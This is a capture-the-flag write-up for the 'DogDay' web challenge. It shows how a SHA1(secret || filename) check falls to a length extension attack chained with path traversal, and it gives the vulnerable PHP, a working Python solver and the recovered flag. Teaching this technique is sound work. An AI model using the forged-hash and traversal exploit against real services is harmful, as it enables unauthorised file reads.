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Patriot CTF 2024: DogDay

651 words·4 mins·
PATRIOT CTF WEB CRYPTO MEDIUM
Fayred
Author
Fayred
I’m French, and I’m passionate about computers in general, and computer security in particular. A CTF enthusiast and a Bug Bounty novice, I’m primarily interested in learning, having fun, and sharing what I’ve learned.
Table of Contents

Statement
#

Woof woof

http://chal.competitivecyber.club:7777

Author: Dylan (elbee3779)

Overview
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The challenge provides a small image gallery and the following files:

.
├── assets
│   ├── BAD.gif
│   ├── script.js
│   └── style.css
├── index.php
├── pupper
│   ├── 1.png
│   ├── 2.png
│   ├── 3.png
│   ├── 4.png
│   ├── 5.png
│   ├── 6.png
│   ├── 7.png
│   └── 8.png
└── view.php

2 directories, 13 files

Clicking an image opens /view.php with two parameters: pic, taken from the rel attribute, and hash, taken from media.

<a href="#" media="06dadc9db741e1c2a91f266203f01b9224b5facf" rel="1.png">
	<img src="pupper/1.png" alt="">
</a>

The decisive check is in view.php:

<?php
	$pic = $_GET['pic'];
	$hash = $_GET['hash'];
	if(sha1("TEST SECRET1".$pic)==$hash){
		$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
		echo "<!DOCTYPE html>";
		echo "<html><body><h1>Here's your picture:</h1>";
		echo "<img src='data:image/png;base64,".$imgdata."'>";
		echo "</body></html>";
	}else{
		echo "<!DOCTYPE html><html><body>";
		echo "<h1>Invalid hash provided!</h1>";
		echo '<img src="assets/BAD.gif"/>';
		echo "</body></html>";
	}
	// The flag is at /flag, that's all you're getting!
?>

pic controls the path passed to file_get_contents(), while hash must equal SHA1(secret || pic). Directory traversal alone is therefore not enough: the server rejects any filename whose signature we do not know.

The loose comparison (==) initially suggests PHP type juggling. That route, however, would require a 0e... SHA1 hash for an input that also reaches /flag, which is not realistic here. The SHA1(secret || message) construction provides a much more direct route.

Solution
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SHA1
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SHA1 uses the Merkle-Damgård construction, as do MD5 and some SHA2 variants. The following diagram summarizes how it works:

SHA1 pads the message with the 0x80 byte, zero bytes, and its bit length encoded over 8 bytes. The result is split into 64-byte blocks. Each block updates an internal state initialized with the h0 through h4 constants. The final digest exposes exactly this state after the last block.

Extending a signed message
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This property enables a length extension attack. Given SHA1(secret || message), it is possible to compute the signature of:

secret || message || padding || extension

The secret remains unknown, but the known digest of secret || message provides the internal state needed to continue the computation. Only the secret length must be guessed to reconstruct the correct padding.

In view.php, both the signed value and the path being read come from pic:

$pic = $_GET['pic'];
$hash = $_GET['hash'];
if(sha1("TEST SECRET1".$pic)==$hash){
	$imgdata = base64_encode(file_get_contents("pupper/".str_replace("\0","",$pic)));
	echo "<!DOCTYPE html>";
	echo "<html><body><h1>Here's your picture:</h1>";
	echo "<img src='data:image/png;base64,".$imgdata."'>";
	echo "</body></html>";
}

We already have a valid signature for 1.png: 06dadc9db741e1c2a91f266203f01b9224b5facf. It lets us extend the message with /../../../../../flag and produce the matching hash without knowing the secret. The str_replace("\0", "", $pic) call removes the padding’s null bytes, but leaves the 0x80 byte and the bytes encoding the length. They therefore remain attached to 1.png in a single path component. The first /.. cancels that 1.png + padding component; the remaining ones traverse upward from the pupper/ directory until /flag can be reached.

Exploitation
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The hlextend library builds the extended message and resumes SHA1 from the known digest. The loop tries several secret lengths; as soon as the guess is correct, the server accepts the new hash.

import requests
import hlextend

for i in range(1, 30):
    sha = hlextend.new('sha1')
    pic = sha.extend(b'/../../../../../flag', b'1.png', i, '06dadc9db741e1c2a91f266203f01b9224b5facf')
    hash = sha.hexdigest()
    url = f'http://chal.competitivecyber.club:7777/view.php?pic={requests.utils.quote(pic)}&hash={hash}'
    r = requests.get(url)
    if 'Invalid hash provided!' not in r.text:
        print(r.text)
        break

The valid response contains the image encoded as Base64. In this case, that content is the /flag file itself:

$ python3 solver.py
<!DOCTYPE html><html><body><h1>Here's your picture:</h1><img src=''></body></html>

$ echo "cGN0ZnszeHQzbmRfbXlfdGg0bms1X2U5YjVmNmFhMDd9Cg=="|base64 -d
pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}

Conclusion
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The integrity check appears to prevent changes to pic, but SHA1(secret || message) is not a secure MAC. The digest of a legitimate image is enough to sign an extension of the message; the directory traversal appended to that extension can then read the flag. An HMAC such as HMAC-SHA256 would prevent this attack.

References
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